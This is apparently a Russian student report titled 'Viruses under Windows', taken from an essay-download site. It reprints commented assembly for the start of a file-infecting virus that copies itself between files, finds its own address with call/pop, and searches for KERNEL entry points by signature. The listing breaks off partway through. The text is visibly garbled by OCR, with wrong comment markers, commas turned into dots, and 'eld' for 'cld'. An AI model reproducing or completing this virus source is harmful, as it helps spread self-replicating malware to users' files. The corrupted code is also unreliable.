Доклад: Вирусы под Windows

Процедура перевода двойного слова в ASCII-формат для печати.
;3начение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc

.Сохраним младшее слово из стека
push eax

; Загрузим старшее слово в регистр АХ
shr eax, 16

[Переведем старшее слово в ASCII-формат
call HexWrite-16

[Восстановим младшее слово из стека
pop eax

[Переведем младшее слово в ASCII-формат

call HexWrite-16

ret
HexWrite32 endp

[Сделаем процедуру WndProc доступной извне
public WndProc
ends

[Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"

assume cs:vladseg
vstart:

;Вычислим текущий адрес

call recalc
recalc:

pop ebp

mov eax.ebp

db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)

;Сохраним адрес в стеке
push eax

[Вычислим стартовый адрес вирусного кода
sub ebp.offset recalc

.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]

Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2

;KERNEL найден, точка 2

mov eax,[ebp+offset kern2]
jmp movit

;Точка 2 не подошла, проверим точку 1
notkern2:

;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]

Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX
movit:

.Сохраним адрес KERNEL
mov [ebp+offset kern].eax
eld

К-во Просмотров: 959
Бесплатно скачать Доклад: Вирусы под Windows